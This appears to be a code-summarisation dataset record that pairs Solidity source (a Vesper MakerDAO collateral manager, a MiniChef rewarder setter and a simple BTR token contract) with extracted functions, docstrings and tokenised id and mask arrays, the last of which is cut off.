function ilks(uint256) external view returns (bytes32);
function owns(uint256) external view returns (address);
function urns(uint256) external view returns (address);
function vat() external view returns (address);
function open(bytes32, address) external returns (uint256);
function give(uint256, address) external;
function cdpAllow(
uint256,
address,
uint256
) external;
function urnAllow(address, uint256) external;
function frob(
uint256,
int256,
int256
) external;
function flux(
uint256,
address,
uint256
) external;
function move(
uint256,
address,
uint256
) external;
function exit(
address,
uint256,
address,
uint256
) external;
function quit(uint256, address) external;
function enter(address, uint256) external;
function shift(uint256, uint256) external;
}
interface VatLike {
function can(address, address) external view returns (uint256);
function ilks(bytes32)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
);
function dai(address) external view returns (uint256);
function urns(bytes32, address) external view returns (uint256, uint256);
function frob(
bytes32,
address,
address,
address,
int256,
int256
) external;
function hope(address) external;
function nope(address) external;
function move(
address,
address,
uint256
) external;
}
interface GemJoinLike {
function dec() external view returns (uint256);
function gem() external view returns (address);
function ilk() external view returns (bytes32);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
interface DaiJoinLike {
function vat() external returns (VatLike);
function dai() external view returns (address);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
interface JugLike {
function drip(bytes32) external returns (uint256);
}
interface SpotterLike {
function ilks(bytes32) external view returns (address, uint256);
}
// File: contracts/interfaces/vesper/ICollateralManager.sol
pragma solidity 0.6.12;
interface ICollateralManager {
function addGemJoin(address[] calldata gemJoins) external;
function mcdManager() external view returns (address);
function borrow(uint256 vaultNum, uint256 amount) external;
function depositCollateral(uint256 vaultNum, uint256 amount) external;
function getVaultBalance(uint256 vaultNum) external view returns (uint256 collateralLocked);
function getVaultDebt(uint256 vaultNum) external view returns (uint256 daiDebt);
function getVaultInfo(uint256 vaultNum)
external
view
returns (
uint256 collateralLocked,
uint256 daiDebt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
);
function payback(uint256 vaultNum, uint256 amount) external;
function registerVault(uint256 vaultNum, bytes32 collateralType) external;
function vaultOwner(uint256 vaultNum) external returns (address owner);
function whatWouldWithdrawDo(uint256 vaultNum, uint256 amount)
external
view
returns (
uint256 collateralLocked,
uint256 daiDebt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
);
function withdrawCollateral(uint256 vaultNum, uint256 amount) external;
}
// File: contracts/interfaces/vesper/IController.sol
pragma solidity 0.6.12;
interface IController {
function aaveReferralCode() external view returns (uint16);
function feeCollector(address) external view returns (address);
function founderFee() external view returns (uint256);
function founderVault() external view returns (address);
function interestFee(address) external view returns (uint256);
function isPool(address) external view returns (bool);
function pools() external view returns (address);
function strategy(address) external view returns (address);
function rebalanceFriction(address) external view returns (uint256);
function poolRewards(address) external view returns (address);
function treasuryPool() external view returns (address);
function uniswapRouter() external view returns (address);
function withdrawFee(address) external view returns (uint256);
}
// File: contracts/strategies/CollateralManager.sol
pragma solidity 0.6.12;
contract DSMath {
uint256 internal constant RAY = 10**27;
uint256 internal constant WAD = 10**18;
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "math-not-safe");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "sub-overflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function toInt(uint256 x) internal pure returns (int256 y) {
y = int256(x);
require(y >= 0, "int-overflow");
}
function toRad(uint256 wad) internal pure returns (uint256 rad) {
rad = mul(wad, RAY);
}
/**
* @notice It will work only if _dec < 18
*/
function convertTo18(uint256 _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = mul(_amt, 10**(18 - _dec));
}
}
contract CollateralManager is ICollateralManager, DSMath, ReentrancyGuard {
using SafeERC20 for IERC20;
mapping(uint256 => address) public override vaultOwner;
mapping(bytes32 => address) public mcdGemJoin;
mapping(uint256 => bytes32) public vaultType;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public override mcdManager = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address public mcdDaiJoin = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address public mcdSpot = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
address public mcdJug = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
uint256 internal constant MAX_UINT_VALUE = uint256(-1);
IController public immutable controller;
modifier onlyVaultOwner(uint256 vaultNum) {
require(msg.sender == vaultOwner[vaultNum], "Not a vault owner");
_;
}
modifier onlyController() {
require(msg.sender == address(controller), "Not a controller");
_;
}
constructor(address _controller) public {
require(_controller != address(0), "_controller is zero");
controller = IController(_controller);
}
/**
* @dev Add gemJoin adapter address from Maker in mapping
* @param gemJoins Array of gem join addresses
*/
function addGemJoin(address[] calldata gemJoins) external override onlyController {
require(gemJoins.length != 0, "No gemJoin address");
for (uint256 i; i < gemJoins.length; i++) {
address gemJoin = gemJoins[i];
bytes32 ilk = GemJoinLike(gemJoin).ilk();
mcdGemJoin[ilk] = gemJoin;
}
}
/**
* @dev Store vault info.
* @param vaultNum Vault number.
* @param collateralType Collateral type of vault.
*/
function registerVault(uint256 vaultNum, bytes32 collateralType) external override {
require(msg.sender == ManagerLike(mcdManager).owns(vaultNum), "Not a vault owner");
vaultOwner[vaultNum] = msg.sender;
vaultType[vaultNum] = collateralType;
}
/**
* @dev Update MCD addresses.
*/
function updateMCDAddresses(
address _mcdManager,
address _mcdDaiJoin,
address _mcdSpot,
address _mcdJug
) external onlyController {
mcdManager = _mcdManager;
mcdDaiJoin = _mcdDaiJoin;
mcdSpot = _mcdSpot;
mcdJug = _mcdJug;
}
/**
* @dev Deposit ERC20 collateral.
* @param vaultNum Vault number.
* @param amount ERC20 amount to deposit.
*/
function depositCollateral(uint256 vaultNum, uint256 amount)
external
override
nonReentrant
onlyVaultOwner(vaultNum)
{
// Receives Gem amount, approve and joins it into the vat.
// Also convert amount to 18 decimal
amount = joinGem(mcdGemJoin[vaultType[vaultNum]], amount);
ManagerLike manager = ManagerLike(mcdManager);
// Locks Gem amount into the CDP
VatLike(manager.vat()).frob(
vaultType[vaultNum],
manager.urns(vaultNum),
address(this),
address(this),
toInt(amount),
0
);
}
/**
* @dev Withdraw collateral.
* @param vaultNum Vault number.
* @param amount Collateral amount to withdraw.
*/
function withdrawCollateral(uint256 vaultNum, uint256 amount)
external
override
nonReentrant
onlyVaultOwner(vaultNum)
{
ManagerLike manager = ManagerLike(mcdManager);
GemJoinLike gemJoin = GemJoinLike(mcdGemJoin[vaultType[vaultNum]]);
uint256 amount18 = convertTo18(gemJoin.dec(), amount);
// Unlocks Gem amount18 from the CDP
manager.frob(vaultNum, -toInt(amount18), 0);
// Moves Gem amount18 from the CDP urn to this address
manager.flux(vaultNum, address(this), amount18);
// Exits Gem amount to this address as a token
gemJoin.exit(address(this), amount);
// Send Gem to pool's address
IERC20(gemJoin.gem()).safeTransfer(vaultOwner[vaultNum], amount);
}
/**
* @dev Payback borrowed DAI.
* @param vaultNum Vault number.
* @param amount Dai amount to payback.
*/
function payback(uint256 vaultNum, uint256 amount) external override onlyVaultOwner(vaultNum) {
ManagerLike manager = ManagerLike(mcdManager);
address urn = manager.urns(vaultNum);
address vat = manager.vat();
bytes32 ilk = vaultType[vaultNum];
// Calculate dai debt
uint256 _daiDebt = _getVaultDebt(ilk, urn, vat);
require(_daiDebt >= amount, "paying-excess-debt");
// Approve and join dai in vat
joinDai(urn, amount);
manager.frob(vaultNum, 0, _getWipeAmount(ilk, urn, vat));
}
/**
* @notice Borrow DAI.
* @dev In edge case, when we hit DAI mint limit, we might end up borrowing
* less than what is being asked.
* @param vaultNum Vault number.
* @param amount Dai amount to borrow. Actual borrow amount may be less than "amount"
*/
function borrow(uint256 vaultNum, uint256 amount) external override onlyVaultOwner(vaultNum) {
ManagerLike manager = ManagerLike(mcdManager);
address vat = manager.vat();
// Safety check in scenario where current debt and request borrow will exceed max dai limit
uint256 _maxAmount = maxAvailableDai(vat, vaultNum);
if (amount > _maxAmount) {
amount = _maxAmount;
}
// Generates debt in the CDP
manager.frob(vaultNum, 0, _getBorrowAmount(vat, manager.urns(vaultNum), vaultNum, amount));
// Moves the DAI amount (balance in the vat in rad) to pool's address
manager.move(vaultNum, address(this), toRad(amount));
// Allows adapter to access to pool's DAI balance in the vat
if (VatLike(vat).can(address(this), mcdDaiJoin) == 0) {
VatLike(vat).hope(mcdDaiJoin);
}
// Exits DAI as a token to user's address
DaiJoinLike(mcdDaiJoin).exit(msg.sender, amount);
}
/// @dev sweep given ERC20 token to treasury pool
function sweepErc20(address fromToken) external {
uint256 amount = IERC20(fromToken).balanceOf(address(this));
address treasuryPool = controller.treasuryPool();
IERC20(fromToken).safeTransfer(treasuryPool, amount);
}
/**
* @dev Get current dai debt of vault.
* @param vaultNum Vault number.
*/
function getVaultDebt(uint256 vaultNum) external view override returns (uint256 daiDebt) {
address urn = ManagerLike(mcdManager).urns(vaultNum);
address vat = ManagerLike(mcdManager).vat();
bytes32 ilk = vaultType[vaultNum];
daiDebt = _getVaultDebt(ilk, urn, vat);
}
/**
* @dev Get current collateral balance of vault.
* @param vaultNum Vault number.
*/
function getVaultBalance(uint256 vaultNum)
external
view
override
returns (uint256 collateralLocked)
{
address vat = ManagerLike(mcdManager).vat();
address urn = ManagerLike(mcdManager).urns(vaultNum);
(collateralLocked, ) = VatLike(vat).urns(vaultType[vaultNum], urn);
}
/**
* @dev Calculate state based on withdraw amount.
* @param vaultNum Vault number.
* @param amount Collateral amount to withraw.
*/
function whatWouldWithdrawDo(uint256 vaultNum, uint256 amount)
external
view
override
returns (
uint256 collateralLocked,
uint256 daiDebt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
)
{
(collateralLocked, daiDebt, collateralUsdRate, collateralRatio, minimumDebt) = getVaultInfo(
vaultNum
);
GemJoinLike gemJoin = GemJoinLike(mcdGemJoin[vaultType[vaultNum]]);
uint256 amount18 = convertTo18(gemJoin.dec(), amount);
require(amount18 <= collateralLocked, "insufficient collateral locked");
collateralLocked = sub(collateralLocked, amount18);
collateralRatio = getCollateralRatio(collateralLocked, collateralUsdRate, daiDebt);
}
/**
* @dev Get vault info
* @param vaultNum Vault number.
*/
function getVaultInfo(uint256 vaultNum)
public
view
override
returns (
uint256 collateralLocked,
uint256 daiDebt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
)
{
(collateralLocked, collateralUsdRate, daiDebt, minimumDebt) = _getVaultInfo(vaultNum);
collateralRatio = getCollateralRatio(collateralLocked, collateralUsdRate, daiDebt);
}
/**
* @dev Get available DAI amount based on current DAI debt and limit for given vault type.
* @param vat Vat address
* @param vaultNum Vault number.
*/
function maxAvailableDai(address vat, uint256 vaultNum) public view returns (uint256) {
// Get stable coin Art(debt) [wad], rate [ray], line [rad]
//solhint-disable-next-line var-name-mixedcase
(uint256 Art, uint256 rate, , uint256 line, ) = VatLike(vat).ilks(vaultType[vaultNum]);
// Calculate total issued debt is Art * rate [rad]
// Calcualte total available dai [wad]
uint256 _totalAvailableDai = sub(line, mul(Art, rate)) / RAY;
// For safety reason, return 99% of available
return mul(_totalAvailableDai, 99) / 100;
}
function joinDai(address urn, uint256 amount) internal {
DaiJoinLike daiJoin = DaiJoinLike(mcdDaiJoin);
// Transfer Dai from strategy or pool to here
IERC20(DAI).safeTransferFrom(msg.sender, address(this), amount);
// Approves adapter to move dai.
IERC20(DAI).safeApprove(mcdDaiJoin, 0);
IERC20(DAI).safeApprove(mcdDaiJoin, amount);
// Joins DAI into the vat
daiJoin.join(urn, amount);
}
function joinGem(address adapter, uint256 amount) internal returns (uint256) {
GemJoinLike gemJoin = GemJoinLike(adapter);
IERC20 token = IERC20(gemJoin.gem());
// Transfer token from strategy or pool to here
token.safeTransferFrom(msg.sender, address(this), amount);
// Approves adapter to take the Gem amount
token.safeApprove(adapter, 0);
token.safeApprove(adapter, amount);
// Joins Gem collateral into the vat
gemJoin.join(address(this), amount);
// Convert amount to 18 decimal
return convertTo18(gemJoin.dec(), amount);
}
/**
* @dev Get borrow dai amount.
*/
function _getBorrowAmount(
address vat,
address urn,
uint256 vaultNum,
uint256 wad
) internal returns (int256 amount) {
// Updates stability fee rate
uint256 rate = JugLike(mcdJug).drip(vaultType[vaultNum]);
// Gets DAI balance of the urn in the vat
uint256 dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (dai < mul(wad, RAY)) {
// Calculates the needed amt so together with the existing dai in the vat is enough to exit wad amount of DAI tokens
amount = toInt(sub(mul(wad, RAY), dai) / rate);
// This is neeeded due lack of precision. It might need to sum an extra amt wei (for the given DAI wad amount)
amount = mul(uint256(amount), rate) < mul(wad, RAY) ? amount + 1 : amount;
}
}
/**
* @dev Get collateral ratio
*/
function getCollateralRatio(
uint256 collateralLocked,
uint256 collateralRate,
uint256 daiDebt
) internal pure returns (uint256) {
if (collateralLocked == 0) {
return 0;
}
if (daiDebt == 0) {
return MAX_UINT_VALUE;
}
require(collateralRate != 0, "Collateral rate is zero");
return wdiv(wmul(collateralLocked, collateralRate), daiDebt);
}
/**
* @dev Get Vault Debt Amount.
*/
function _getVaultDebt(
bytes32 ilk,
address urn,
address vat
) internal view returns (uint256 wad) {
// Get normalised debt [wad]
(, uint256 art) = VatLike(vat).urns(ilk, urn);
// Get stable coin rate [ray]
(, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
// Get balance from vat [rad]
uint256 dai = VatLike(vat).dai(urn);
wad = _getVaultDebt(art, rate, dai);
}
function _getVaultDebt(
uint256 art,
uint256 rate,
uint256 dai
) internal pure returns (uint256 wad) {
if (dai < mul(art, rate)) {
uint256 rad = sub(mul(art, rate), dai);
wad = rad / RAY;
wad = mul(wad, RAY) < rad ? wad + 1 : wad;
} else {
wad = 0;
}
}
function _getVaultInfo(uint256 vaultNum)
internal
view
returns (
uint256 collateralLocked,
uint256 collateralUsdRate,
uint256 daiDebt,
uint256 minimumDebt
)
{
address urn = ManagerLike(mcdManager).urns(vaultNum);
address vat = ManagerLike(mcdManager).vat();
bytes32 ilk = vaultType[vaultNum];
// Get minimum liquidation ratio [ray]
(, uint256 mat) = SpotterLike(mcdSpot).ilks(ilk);
// Get collateral locked and normalised debt [wad] [wad]
(uint256 ink, uint256 art) = VatLike(vat).urns(ilk, urn);
// Get stable coin and collateral rate and min debt [ray] [ray] [rad]
(, uint256 rate, uint256 spot, , uint256 dust) = VatLike(vat).ilks(ilk);
// Get balance from vat [rad]
collateralLocked = ink;
daiDebt = _getVaultDebt(art, rate, VatLike(vat).dai(urn));
minimumDebt = dust / RAY;
// Calculate collateral rate in 18 decimals
collateralUsdRate = rmul(mat, spot) / 10**9;
}
/**
* @dev Get Payback amount.
* @notice We need to fetch latest art, rate and dai to calcualte payback amount.
*/
function _getWipeAmount(
bytes32 ilk,
address urn,
address vat
) internal view returns (int256 amount) {
// Get normalize debt, rate and dai balance from Vat
(, uint256 art) = VatLike(vat).urns(ilk, urn);
(, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
uint256 dai = VatLike(vat).dai(urn);
// Uses the whole dai balance in the vat to reduce the debt
amount = toInt(dai / rate);
// Checks the calculated amt is not higher than urn.art (total debt), otherwise uses its value
amount = uint256(amount) <= art ? -amount : -toInt(art);
}
} | * @dev Deposit ERC20 collateral. @param vaultNum Vault number. @param amount ERC20 amount to deposit./ Receives Gem amount, approve and joins it into the vat. Also convert amount to 18 decimal Locks Gem amount into the CDP | function depositCollateral(uint256 vaultNum, uint256 amount)
external
override
nonReentrant
onlyVaultOwner(vaultNum)
{
amount = joinGem(mcdGemJoin[vaultType[vaultNum]], amount);
ManagerLike manager = ManagerLike(mcdManager);
VatLike(manager.vat()).frob(
vaultType[vaultNum],
manager.urns(vaultNum),
address(this),
address(this),
toInt(amount),
0
);
}
| 2,352,491 | [
1,
758,
1724,
4232,
39,
3462,
4508,
2045,
287,
18,
225,
9229,
2578,
17329,
1300,
18,
225,
3844,
4232,
39,
3462,
3844,
358,
443,
1724,
18,
19,
9797,
3606,
611,
351,
3844,
16,
6617,
537,
471,
13471,
518,
1368,
326,
17359,
18,
8080,
1765,
3844,
358,
6549,
6970,
3488,
87,
611,
351,
3844,
1368,
326,
385,
8640,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
443,
1724,
13535,
2045,
287,
12,
11890,
5034,
9229,
2578,
16,
2254,
5034,
3844,
13,
203,
3639,
3903,
203,
3639,
3849,
203,
3639,
1661,
426,
8230,
970,
203,
3639,
1338,
12003,
5541,
12,
26983,
2578,
13,
203,
565,
288,
203,
3639,
3844,
273,
1233,
43,
351,
12,
81,
4315,
43,
351,
4572,
63,
26983,
559,
63,
26983,
2578,
65,
6487,
3844,
1769,
203,
203,
3639,
8558,
8804,
3301,
273,
8558,
8804,
12,
81,
4315,
1318,
1769,
203,
3639,
25299,
8804,
12,
4181,
18,
25012,
1435,
2934,
74,
303,
70,
12,
203,
5411,
9229,
559,
63,
26983,
2578,
6487,
203,
5411,
3301,
18,
321,
87,
12,
26983,
2578,
3631,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
20771,
12,
8949,
3631,
203,
5411,
374,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/288/0xF2882e7Aa2ecb53D362B4c4C4248B06A5e1B90DE/sources/contracts/bridge/MiniChefV21.sol | @notice Update the given pool's `IRewarder` contract. Can only be called by the owner. @param _pid The index of the pool. See `poolInfo`. @param _rewarder Address of the rewarder delegate. | function setRewarder(uint256 _pid, IRewarder _rewarder) external onlyOwner {
rewarder[_pid] = _rewarder;
emit LogSetPool(_pid, poolInfo[_pid].allocPoint, _rewarder, true);
}
| 7,104,488 | [
1,
1891,
326,
864,
2845,
1807,
1375,
7937,
359,
297,
765,
68,
6835,
18,
4480,
1338,
506,
2566,
635,
326,
3410,
18,
225,
389,
6610,
1021,
770,
434,
326,
2845,
18,
2164,
1375,
6011,
966,
8338,
225,
389,
266,
20099,
5267,
434,
326,
283,
20099,
7152,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
17631,
297,
765,
12,
11890,
5034,
389,
6610,
16,
15908,
359,
297,
765,
389,
266,
20099,
13,
3903,
1338,
5541,
288,
203,
3639,
283,
20099,
63,
67,
6610,
65,
273,
389,
266,
20099,
31,
203,
3639,
3626,
1827,
694,
2864,
24899,
6610,
16,
2845,
966,
63,
67,
6610,
8009,
9853,
2148,
16,
389,
266,
20099,
16,
638,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
/**
* Math operations with safety checks
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BTR is owned{
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(string tokenName,string tokenSymbol,address tokenOwner) public {
decimals = 18; // Amount of decimals for display purposes
totalSupply = 10000000000 * 10 ** uint(decimals); // Update total supply
balanceOf[tokenOwner] = totalSupply;// Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
owner = tokenOwner;
}
/* Send coins */
function transfer(address _to, uint256 _value) public {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value > 0);
require (balanceOf[msg.sender] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public
returns (bool success) {
require (_value > 0);
require (balanceOf[msg.sender] >= _value);
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value > 0);
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require (_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require (balanceOf[msg.sender] >= _value); // Check if the sender has enough
require (_value > 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require (balanceOf[msg.sender] >= _value); // Check if the sender has enough
require (_value > 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require (freezeOf[msg.sender] >= _value); // Check if the sender has enough
require (_value > 0);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) onlyOwner public {
msg.sender.transfer(amount);
}
// can accept ether
function() external payable {
}
} | Allow another contract to spend some tokens in your behalf */ | function approve(address _spender, uint256 _value) public
returns (bool success) {
require (_value > 0);
require (balanceOf[msg.sender] >= _value);
allowance[msg.sender][_spender] = _value;
return true;
}
| 12,617,174 | [
1,
7009,
4042,
6835,
358,
17571,
2690,
2430,
316,
3433,
12433,
6186,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
